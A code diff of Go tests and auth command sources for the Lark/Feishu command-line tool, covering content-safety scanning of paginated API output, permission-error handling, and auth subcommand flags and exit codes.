f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall-safety", AppSecret: "test-secret-pageall-safety", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/contact/v3/users",
Body: map[string]interface{}{
"code": 0, "msg": "ok",
"data": map[string]interface{}{
"items": []interface{}{map[string]interface{}{"id": "1"}},
"has_more": false,
},
},
})
root := &cobra.Command{Use: "lark-cli"}
root.AddCommand(NewCmdApi(f, nil))
root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all"})
if err := root.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
if !provider.called {
t.Fatal("expected content safety provider to scan paginated output")
}
if provider.path != "api" {
t.Fatalf("scan path = %q, want api", provider.path)
}
data, ok := provider.data.(map[string]interface{})
if !ok {
t.Fatalf("scanned data type = %T, want map", provider.data)
}
if _, hasCode := data["code"]; hasCode {
t.Fatalf("scanned data should be business data only, got %#v", data)
}
var got map[string]interface{}
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
}
alert, ok := got["_content_safety_alert"].(map[string]interface{})
if !ok || alert["provider"] != "api-test" {
t.Fatalf("missing content safety alert in envelope: %#v", got)
}
}
func TestApiCmd_PageAll_StreamFormatRunsContentSafety(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
provider := &apiContentSafetyProvider{}
extcs.Register(provider)
t.Cleanup(func() { extcs.Register(nil) })
f, stdout, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall-stream-safety", AppSecret: "test-secret-pageall-stream-safety", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/contact/v3/users",
Body: map[string]interface{}{
"code": 0, "msg": "ok",
"data": map[string]interface{}{
"items": []interface{}{map[string]interface{}{"id": "1"}},
"has_more": false,
},
},
})
root := &cobra.Command{Use: "lark-cli"}
root.AddCommand(NewCmdApi(f, nil))
root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
if err := root.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
if !provider.called {
t.Fatal("expected content safety provider to scan streamed paginated output")
}
if provider.path != "api" {
t.Fatalf("scan path = %q, want api", provider.path)
}
items, ok := provider.data.([]interface{})
if !ok || len(items) != 1 {
t.Fatalf("scanned data = %#v, want one streamed item", provider.data)
}
if !strings.Contains(stderr.String(), "warning: content safety alert from api-test") {
t.Fatalf("expected content safety warning on stderr, got: %s", stderr.String())
}
if !strings.Contains(stdout.String(), `"id":"1"`) {
t.Fatalf("expected streamed ndjson output, got: %s", stdout.String())
}
}
func TestApiCmd_PageAll_StreamFormatBlockSkipsBlockedPage(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
provider := &apiContentSafetyProvider{match: "blocked"}
extcs.Register(provider)
t.Cleanup(func() { extcs.Register(nil) })
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall-stream-block", AppSecret: "test-secret-pageall-stream-block", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/contact/v3/users",
Body: map[string]interface{}{
"code": 0, "msg": "ok",
"data": map[string]interface{}{
"items": []interface{}{map[string]interface{}{"id": "safe-page"}},
"has_more": true,
"page_token": "next",
},
},
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/contact/v3/users",
Body: map[string]interface{}{
"code": 0, "msg": "ok",
"data": map[string]interface{}{
"items": []interface{}{map[string]interface{}{"id": "blocked-page"}},
"has_more": false,
},
},
})
root := &cobra.Command{Use: "lark-cli"}
root.AddCommand(NewCmdApi(f, nil))
root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
err := root.Execute()
if err == nil {
t.Fatal("expected content safety block error")
}
var safetyErr *errs.ContentSafetyError
if !errors.As(err, &safetyErr) {
t.Fatalf("expected ContentSafetyError, got %T: %v", err, err)
}
if safetyErr.Category != errs.CategoryPolicy || safetyErr.Subtype != errs.SubtypeContentSafety {
t.Fatalf("problem = %s/%s, want %s/%s", safetyErr.Category, safetyErr.Subtype, errs.CategoryPolicy, errs.SubtypeContentSafety)
}
if len(safetyErr.Rules) != 1 || safetyErr.Rules[0] != "pagination" {
t.Fatalf("rules = %v, want [pagination]", safetyErr.Rules)
}
out := stdout.String()
if !strings.Contains(out, "safe-page") {
t.Fatalf("expected earlier safe page to remain streamed, got: %s", out)
}
if strings.Contains(out, "blocked-page") {
t.Fatalf("blocked page was written before safety block: %s", out)
}
}
func requireProblem(t *testing.T, err error, category errs.Category, subtype errs.Subtype, code int) {
t.Helper()
p, ok := errs.ProblemOf(err)
if !ok {
t.Fatalf("expected typed error, got %T: %v", err, err)
}
if p.Category != category || p.Subtype != subtype || p.Code != code {
t.Fatalf("problem = %s/%s/%d, want %s/%s/%d", p.Category, p.Subtype, p.Code, category, subtype, code)
}
}
func TestNormalisePath_StripsQueryAndFragment(t *testing.T) {
for _, tt := range []struct {
name string
@@ -715,6 +381,154 @@ func TestNormalisePath_StripsQueryAndFragment(t *testing.T) {
}
}
func TestApiCmd_APIError_IsRaw(t *testing.T) {
f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-raw", AppSecret: "test-secret-raw", Brand: core.BrandFeishu,
})
// Return a permission error from the API
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/perm",
Body: map[string]interface{}{
"code": 99991672,
"msg": "scope not enabled for this app",
"error": map[string]interface{}{
"permission_violations": []interface{}{
map[string]interface{}{"subject": "calendar:calendar:readonly"},
},
},
},
})
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/test/perm", "--as", "bot"})
err := cmd.Execute()
if err == nil {
t.Fatal("expected error for permission denied API response")
}
// Error should be marked Raw
var exitErr *output.ExitError
if !errors.As(err, &exitErr) {
t.Fatalf("expected *output.ExitError, got %T", err)
}
if !exitErr.Raw {
t.Error("expected API error from api command to be marked Raw")
}
// Note: stderr envelope output is tested at the root level (TestHandleRootError_*)
// since WriteErrorEnvelope is called by handleRootError, not by cobra's Execute.
_ = stderr
}
func TestApiCmd_APIError_PreservesOriginalMessage(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-origmsg", AppSecret: "test-secret-origmsg", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/origmsg",
Body: map[string]interface{}{
"code": 99991672,
"msg": "scope not enabled for this app",
"error": map[string]interface{}{
"permission_violations": []interface{}{
map[string]interface{}{"subject": "im:message:readonly"},
},
},
},
})
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/test/origmsg", "--as", "bot"})
err := cmd.Execute()
if err == nil {
t.Fatal("expected error")
}
var exitErr *output.ExitError
if !errors.As(err, &exitErr) {
t.Fatalf("expected *output.ExitError, got %T", err)
}
// The message should NOT have been enriched (no "App scope not enabled" replacement)
if strings.Contains(exitErr.Error(), "App scope not enabled") {
t.Error("expected original message, not enriched message")
}
// Detail should still contain the raw API error detail
if exitErr.Detail == nil {
t.Fatal("expected non-nil Detail")
}
if exitErr.Detail.Detail == nil {
t.Error("expected raw Detail.Detail to be preserved (not cleared by enrichment)")
}
}
func TestApiCmd_InvalidJSONResponse_ShowsDiagnostic(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-invalidjson", AppSecret: "test-secret-invalidjson", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/invalidjson",
RawBody: []byte{},
ContentType: "application/json",
})
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/test/invalidjson", "--as", "bot"})
err := cmd.Execute()
if err == nil {
t.Fatal("expected error")
}
var exitErr *output.ExitError
if !errors.As(err, &exitErr) {
t.Fatalf("expected *output.ExitError, got %T", err)
}
if exitErr.Code != output.ExitAPI {
t.Fatalf("expected ExitAPI, got %d", exitErr.Code)
}
if exitErr.Detail == nil {
t.Fatal("expected detail on exit error")
}
if !strings.Contains(exitErr.Detail.Message, "invalid JSON response") &&
!strings.Contains(exitErr.Detail.Message, "empty JSON response body") {
t.Fatalf("expected JSON diagnostic, got %q", exitErr.Detail.Message)
}
if !strings.Contains(exitErr.Detail.Hint, "--output") {
t.Fatalf("expected hint to mention --output, got %q", exitErr.Detail.Hint)
}
}
func TestApiCmd_PageAll_APIError_IsRaw(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-rawpage", AppSecret: "test-secret-rawpage", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/rawpage",
Body: map[string]interface{}{
"code": 99991672,
"msg": "scope not enabled",
},
})
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/test/rawpage", "--as", "bot", "--page-all"})
err := cmd.Execute()
if err == nil {
t.Fatal("expected error")
}
var exitErr *output.ExitError
if !errors.As(err, &exitErr) {
t.Fatalf("expected *output.ExitError, got %T", err)
}
if !exitErr.Raw {
t.Error("expected paginated API error to be marked Raw")
}
}
func TestApiCmd_JqFlag_Parsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
@@ -988,69 +802,3 @@ func TestApiCmd_DryRunWithFile(t *testing.T) {
t.Errorf("expected dry-run header, got: %s", out)
}
}
// TestApiCmd_PermissionError_DerivesFirstClassFields pins that when a Lark
// API returns a missing-scope failure, the typed *errs.PermissionError
// surfaced by `lark-cli api` lifts the diagnostic signals BuildAPIError
// consumed during classification into first-class wire fields
// (MissingScopes, LogID, ConsoleURL). The wire shape is the typed envelope
// — there is no raw-payload passthrough; new Lark diagnostic fields require
// a CLI release.
func TestApiCmd_PermissionError_DerivesFirstClassFields(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "cli_test_perm", AppSecret: "secret", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/docx/v1/documents/test",
Body: map[string]interface{}{
"code": 99991679,
"msg": "scope missing",
"log_id": "20260527-test-log",
"error": map[string]interface{}{
"permission_violations": []interface{}{
map[string]interface{}{"subject": "docx:document"},
},
},
},
})
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/docx/v1/documents/test", "--as", "bot"})
err := cmd.Execute()
if err == nil {
t.Fatal("expected error for non-zero code")
}
var pe *errs.PermissionError
if !errors.As(err, &pe) {
t.Fatalf("expected *errs.PermissionError, got %T: %v", err, err)
}
if len(pe.MissingScopes) != 1 || pe.MissingScopes[0] != "docx:document" {
t.Errorf("MissingScopes = %v, want [docx:document]", pe.MissingScopes)
}
if pe.LogID != "20260527-test-log" {
t.Errorf("LogID = %q, want %q", pe.LogID, "20260527-test-log")
}
}
func TestApiCmd_JsonFlag_Accepted(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *APIOptions
cmd := NewCmdApi(f, func(opts *APIOptions) error {
gotOpts = opts
return nil
})
cmd.SetArgs([]string{"GET", "/open-apis/test", "--json"})
err := cmd.Execute()
if err != nil {
t.Fatalf("--json should be accepted without error, got: %v", err)
}
if gotOpts.Method != "GET" {
t.Errorf("expected method GET, got %s", gotOpts.Method)
}
}

View File

@@ -17,7 +17,6 @@ import (
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/errclass"
)
// NewCmdAuth creates the auth command with subcommands.
@@ -25,16 +24,6 @@ func NewCmdAuth(f *cmdutil.Factory) *cobra.Command {
cmd := &cobra.Command{
Use: "auth",
Short: "OAuth credentials and authorization management",
PersistentPreRunE: func(cmd *cobra.Command, args []string) error {
// Replicate rootCmd's PersistentPreRun behaviour: cobra stops at the first
// PersistentPreRun[E] found walking up the chain, so the root-level
// SilenceUsage=true would be skipped without this line.
cmd.SilenceUsage = true
// cmd.Name() returns the subcommand name (e.g. "login"), not "auth".
// Pass "auth" as a literal so the error message reads
// `"auth" is not supported: ...`
return f.RequireBuiltinCredentialProvider(cmd.Context(), "auth")
},
}
cmdutil.DisableAuthCheck(cmd)
@@ -44,7 +33,6 @@ func NewCmdAuth(f *cmdutil.Factory) *cobra.Command {
cmd.AddCommand(NewCmdAuthScopes(f, nil))
cmd.AddCommand(NewCmdAuthList(f, nil))
cmd.AddCommand(NewCmdAuthCheck(f, nil))
cmd.AddCommand(NewCmdAuthQRCode(f, nil))
return cmd
}
@@ -71,7 +59,7 @@ func getUserInfo(ctx context.Context, sdk *lark.Client, accessToken string) (ope
var resp userInfoResponse
if err := json.Unmarshal(apiResp.RawBody, &resp); err != nil {
return "", "", fmt.Errorf("failed to parse user info: %w", err)
return "", "", fmt.Errorf("failed to parse user info: %v", err)
}
if resp.Code != 0 {
return "", "", fmt.Errorf("failed to get user info [%d]: %s", resp.Code, resp.Msg)
@@ -111,11 +99,6 @@ type appInfoResponse struct {
} `json:"data"`
}
// getAppInfoFn is the package-level seam used by callers (scopes.go) so tests
// can substitute a fake without standing up a full SDK + httpmock pipeline.
// Mirrors the pollDeviceToken pattern in login.go.
var getAppInfoFn = getAppInfo
// getAppInfo queries app info from the Lark API.
func getAppInfo(ctx context.Context, f *cmdutil.Factory, appId string) (*appInfo, error) {
ac, err := f.NewAPIClient()
@@ -137,10 +120,10 @@ func getAppInfo(ctx context.Context, f *cmdutil.Factory, appId string) (*appInfo
var resp appInfoResponse
if err := json.Unmarshal(apiResp.RawBody, &resp); err != nil {
return nil, fmt.Errorf("failed to parse response: %w", err)
return nil, fmt.Errorf("failed to parse response: %v", err)
}
if resp.Code != 0 {
return nil, classifyAppInfoErr(apiResp.RawBody, resp.Code, resp.Msg, f, appId)
return nil, fmt.Errorf("API error [%d]: %s", resp.Code, resp.Msg)
}
app := resp.Data.App
@@ -159,21 +142,3 @@ func getAppInfo(ctx context.Context, f *cmdutil.Factory, appId string) (*appInfo
return &appInfo{OwnerOpenId: ownerOpenId, UserScopes: userScopes}, nil
}
// classifyAppInfoErr re-decodes the raw body so BuildAPIError sees the
// upstream `error` block — the typed appInfoResponse shape drops it.
func classifyAppInfoErr(rawBody []byte, code int, msg string, f *cmdutil.Factory, appId string) error {
var raw map[string]any
_ = json.Unmarshal(rawBody, &raw)
if raw == nil {
raw = map[string]any{}
}
raw["code"] = code
raw["msg"] = msg
cc := errclass.ClassifyContext{Identity: string(core.AsBot)}
if cfg, _ := f.Config(); cfg != nil {
cc.Brand = string(cfg.Brand)
cc.AppID = appId
}
return errclass.BuildAPIError(raw, cc)
}

View File

@@ -5,20 +5,15 @@ package auth
import (
"context"
"errors"
"io"
"net/http"
"sort"
"strings"
"testing"
"github.com/larksuite/cli/errs"
extcred "github.com/larksuite/cli/extension/credential"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/credential"
"github.com/larksuite/cli/internal/httpmock"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/registry"
)
@@ -45,32 +40,6 @@ func TestAuthLoginCmd_FlagParsing(t *testing.T) {
}
}
func TestAuthLoginCmd_HelpGuidesNonStreamingAgentsToSplitFlow(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := NewCmdAuthLogin(f, func(opts *LoginOptions) error { return nil })
cmd.SetOut(stdout)
cmd.SetErr(io.Discard)
cmd.SetArgs([]string{"--help"})
if err := cmd.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
got := stdout.String()
for _, want := range []string{
"only delivers final turn messages",
"--no-wait --json",
"send the verification URL (or QR code) to the user as your final message",
"run --device-code in a later step",
} {
if !strings.Contains(got, want) {
t.Fatalf("help missing %q, got:\n%s", want, got)
}
}
}
func TestAuthCheckCmd_FlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
@@ -91,29 +60,6 @@ func TestAuthCheckCmd_FlagParsing(t *testing.T) {
}
}
func TestAuthCheckCmd_AcceptsJSONFlag(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *CheckOptions
cmd := NewCmdAuthCheck(f, func(opts *CheckOptions) error {
gotOpts = opts
return nil
})
cmd.SetArgs([]string{"--scope", "calendar:calendar:read", "--json"})
err := cmd.Execute()
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if gotOpts == nil {
t.Fatal("expected opts to be set")
}
if !gotOpts.JSON {
t.Error("expected JSON=true")
}
}
func TestAuthLogoutCmd_FlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
@@ -132,27 +78,6 @@ func TestAuthLogoutCmd_FlagParsing(t *testing.T) {
}
}
func TestAuthLogoutCmd_AcceptsJSONFlag(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
var gotOpts *LogoutOptions
cmd := NewCmdAuthLogout(f, func(opts *LogoutOptions) error {
gotOpts = opts
return nil
})
cmd.SetArgs([]string{"--json"})
err := cmd.Execute()
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if gotOpts == nil {
t.Fatal("expected opts to be set")
}
if !gotOpts.JSON {
t.Error("expected JSON=true")
}
}
func TestAuthListCmd_FlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
@@ -170,27 +95,6 @@ func TestAuthListCmd_FlagParsing(t *testing.T) {
}
}
func TestAuthListCmd_AcceptsJSONFlag(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
var gotOpts *ListOptions
cmd := NewCmdAuthList(f, func(opts *ListOptions) error {
gotOpts = opts
return nil
})
cmd.SetArgs([]string{"--json"})
err := cmd.Execute()
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if gotOpts == nil {
t.Error("expected opts to be set")
}
if !gotOpts.JSON {
t.Error("expected JSON=true")
}
}
func TestAuthStatusCmd_FlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
@@ -210,29 +114,6 @@ func TestAuthStatusCmd_FlagParsing(t *testing.T) {
}
}
func TestAuthStatusCmd_AcceptsJSONFlag(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *StatusOptions
cmd := NewCmdAuthStatus(f, func(opts *StatusOptions) error {
gotOpts = opts
return nil
})
cmd.SetArgs([]string{"--json"})
err := cmd.Execute()
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if gotOpts == nil {
t.Error("expected opts to be set")
}
if !gotOpts.JSON {
t.Error("expected JSON=true")
}
}
func TestAuthStatusCmd_VerifyFlag(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
@@ -355,32 +236,6 @@ func TestAuthScopesCmd_FlagParsing(t *testing.T) {
}
}
func TestAuthScopesCmd_JSONFlagForcesJSONFormat(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *ScopesOptions
cmd := NewCmdAuthScopes(f, func(opts *ScopesOptions) error {
gotOpts = opts
return nil
})
cmd.SetArgs([]string{"--format", "pretty", "--json"})
err := cmd.Execute()
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if gotOpts == nil {
t.Fatal("expected opts to be set")
}
if !gotOpts.JSON {
t.Error("expected JSON=true")
}
if gotOpts.Format != "json" {
t.Errorf("expected format json, got %s", gotOpts.Format)
}
}
func TestAuthScopesRun_UsesTenantAccessTokenFromCredentialProvider(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "", Brand: core.BrandFeishu,
@@ -433,54 +288,6 @@ func TestAuthScopesRun_UsesTenantAccessTokenFromCredentialProvider(t *testing.T)
}
}
// TestAuthScopesRun_LarkPermissionError_TypedAsPermissionError pins that when
// the Lark API returns a permission code (99991679 with permission_violations),
// getAppInfo classifies it as *errs.PermissionError carrying the server-
// supplied MissingScopes — not a bare error wrapped as InternalError.
func TestAuthScopesRun_LarkPermissionError_TypedAsPermissionError(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
tokenResolver := &authScopesTokenResolver{}
f.Credential = credential.NewCredentialProvider(nil, nil, tokenResolver, nil)
reg.Register(&httpmock.Stub{
Method: http.MethodGet,
URL: "/open-apis/application/v6/applications/test-app",
Body: map[string]interface{}{
"code": 99991679,
"msg": "scope missing",
"error": map[string]interface{}{
"permission_violations": []interface{}{
map[string]interface{}{"subject": "application:application:self_manage"},
},
},
},
})
err := authScopesRun(&ScopesOptions{
Factory: f,
Ctx: context.Background(),
Format: "json",
})
if err == nil {
t.Fatal("expected error, got nil")
}
var pe *errs.PermissionError
if !errors.As(err, &pe) {
t.Fatalf("expected *errs.PermissionError, got %T: %v", err, err)
}
if len(pe.MissingScopes) != 1 || pe.MissingScopes[0] != "application:application:self_manage" {
t.Errorf("MissingScopes = %v, want server-supplied [application:application:self_manage]", pe.MissingScopes)
}
var intErr *errs.InternalError
if errors.As(err, &intErr) {
t.Error("Lark business error must not be wrapped as InternalError; permission semantics lost")
}
}
type authScopesTokenResolver struct {
requests []credential.TokenSpec
}
@@ -496,65 +303,3 @@ func (r *authScopesTokenResolver) ResolveToken(ctx context.Context, req credenti
return &credential.TokenResult{Token: "unexpected-token"}, nil
}
}
// stubExternalProvider is a minimal extcred.Provider that always reports an account,
// simulating env/sidecar mode for guard tests.
type stubExternalProvider struct{ name string }
func (s *stubExternalProvider) Name() string { return s.name }
func (s *stubExternalProvider) ResolveAccount(_ context.Context) (*extcred.Account, error) {
return &extcred.Account{AppID: "test-app"}, nil
}
func (s *stubExternalProvider) ResolveToken(_ context.Context, _ extcred.TokenSpec) (*extcred.Token, error) {
return nil, nil
}
// newFactoryWithExternalProvider creates a Factory whose Credential uses a stub
// extension provider, simulating env/sidecar credential mode.
func newFactoryWithExternalProvider(t *testing.T) *cmdutil.Factory {
t.Helper()
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
stub := &stubExternalProvider{name: "env"}
cred := credential.NewCredentialProvider([]extcred.Provider{stub}, nil, nil, nil)
f, _, _, _ := cmdutil.TestFactory(t, nil)
f.Credential = cred
return f
}
func TestAuthBlockedByExternalProvider(t *testing.T) {
f := newFactoryWithExternalProvider(t)
tests := []struct {
name string
args []string
}{
{"login", []string{"login"}},
{"logout", []string{"logout"}},
{"status", []string{"status"}},
{"check", []string{"check", "--scope", "calendar:read"}}, // --scope is required
{"list", []string{"list"}},
{"scopes", []string{"scopes"}},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
cmd := NewCmdAuth(f)
cmd.SilenceErrors = true
cmd.SetErr(io.Discard)
cmd.SetArgs(tt.args)
// Locate the subcommand before execution (PersistentPreRunE receives it as cmd).
matched, _, _ := cmd.Find(tt.args)
err := cmd.Execute()
// PersistentPreRunE sets SilenceUsage on the matched subcommand, not the parent.
if matched != nil && matched != cmd && !matched.SilenceUsage {
t.Error("expected PersistentPreRunE to set SilenceUsage on matched subcommand")
}
if gotCode := output.ExitCodeOf(err); gotCode != output.ExitValidation {
t.Errorf("exit code = %d, want %d", gotCode, output.ExitValidation)
}
})
}
}

View File

@@ -9,7 +9,6 @@ import (
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
@@ -19,7 +18,6 @@ import (
type CheckOptions struct {
Factory *cmdutil.Factory
Scope string
JSON bool
}
// NewCmdAuthCheck creates the auth check subcommand.
@@ -38,9 +36,7 @@ func NewCmdAuthCheck(f *cmdutil.Factory, runF func(*CheckOptions) error) *cobra.
}
cmd.Flags().StringVar(&opts.Scope, "scope", "", "scopes to check (space-separated)")
cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
cmd.MarkFlagRequired("scope")
cmdutil.SetRisk(cmd, "read")
return cmd
}
@@ -50,7 +46,8 @@ func authCheckRun(opts *CheckOptions) error {
required := strings.Fields(opts.Scope)
if len(required) == 0 {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--scope cannot be empty").WithParam("--scope")
output.PrintJson(f.IOStreams.Out, map[string]interface{}{"ok": true, "granted": []string{}, "missing": []string{}})
return nil
}
config, err := f.Config()

View File

@@ -1,164 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package auth
import (
"encoding/json"
"errors"
"testing"
"time"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
"github.com/zalando/go-keyring"
)
// `lark-cli auth check` is a predicate command: its README contract is
// `exit 0 = ok, 1 = missing`. The JSON answer goes to stdout; stderr stays
// empty so callers can write `if lark-cli auth check ...; then ... fi`
// without their logs getting polluted by an error envelope on the negative
// branch. These tests pin that contract end-to-end through the dispatcher.
func TestAuthCheckRun_NotLoggedIn_ExitOneWithStdoutOnly(t *testing.T) {
f, stdout, stderr, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
// UserOpenId left empty: triggers the not_logged_in branch.
})
err := authCheckRun(&CheckOptions{Factory: f, Scope: "calendar:calendar:read"})
if got := output.ExitCodeOf(err); got != 1 {
t.Errorf("exit code = %d, want 1 (predicate 'missing' signal)", got)
}
var bare *output.BareError
if !errors.As(err, &bare) {
t.Fatalf("expected *output.BareError (ErrBare), got %T: %v", err, err)
}
if stderr.Len() != 0 {
t.Errorf("stderr must stay empty for predicate negative answer, got:\n%s", stderr.String())
}
var payload map[string]any
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
}
if payload["ok"] != false {
t.Errorf("stdout.ok = %v, want false", payload["ok"])
}
if payload["error"] != "not_logged_in" {
t.Errorf("stdout.error = %v, want 'not_logged_in'", payload["error"])
}
}
func TestAuthCheckRun_NoStoredToken_ExitOneWithStdoutOnly(t *testing.T) {
f, stdout, stderr, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
UserOpenId: "ou_user", UserName: "tester",
})
err := authCheckRun(&CheckOptions{Factory: f, Scope: "calendar:calendar:read"})
if got := output.ExitCodeOf(err); got != 1 {
t.Errorf("exit code = %d, want 1", got)
}
if stderr.Len() != 0 {
t.Errorf("stderr must stay empty, got:\n%s", stderr.String())
}
var payload map[string]any
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
t.Fatalf("stdout must be valid JSON: %v", err)
}
if payload["ok"] != false {
t.Errorf("stdout.ok = %v, want false", payload["ok"])
}
if payload["error"] != "no_token" {
t.Errorf("stdout.error = %v, want 'no_token'", payload["error"])
}
}
func TestAuthCheckRun_ScopedTokenPresent_ExitZero(t *testing.T) {
// Predicate command happy path: stored token covers every required
// scope. Exit must be 0 (nil error, not ErrBare), stdout carries the
// `{"ok":true,...}` JSON answer, and stderr stays empty so shell
// callers can rely on `if lark-cli auth check ...; then` without log
// pollution. Pairs with the two exit-1 negatives above so both
// branches of the predicate contract are pinned.
keyring.MockInit()
t.Setenv("HOME", t.TempDir())
t.Setenv("LARKSUITE_CLI_DATA_DIR", t.TempDir())
cfg := &core.CliConfig{
AppID: "test-app",
AppSecret: "test-secret",
Brand: core.BrandFeishu,
UserOpenId: "ou_user",
UserName: "tester",
}
now := time.Now()
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
AppId: cfg.AppID,
UserOpenId: cfg.UserOpenId,
AccessToken: "user-access-token",
RefreshToken: "refresh-token",
ExpiresAt: now.Add(time.Hour).UnixMilli(),
RefreshExpiresAt: now.Add(24 * time.Hour).UnixMilli(),
GrantedAt: now.Add(-time.Hour).UnixMilli(),
Scope: "im:message docx:document",
}); err != nil {
t.Fatalf("SetStoredToken() error = %v", err)
}
f, stdout, stderr, _ := cmdutil.TestFactory(t, cfg)
err := authCheckRun(&CheckOptions{Factory: f, Scope: "im:message"})
if err != nil {
t.Fatalf("expected nil error for happy path (exit 0), got %v", err)
}
if got := output.ExitCodeOf(err); got != 0 {
t.Errorf("exit code = %d, want 0", got)
}
if stderr.Len() != 0 {
t.Errorf("stderr must stay empty for predicate exit-0 answer, got:\n%s", stderr.String())
}
var payload map[string]any
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
}
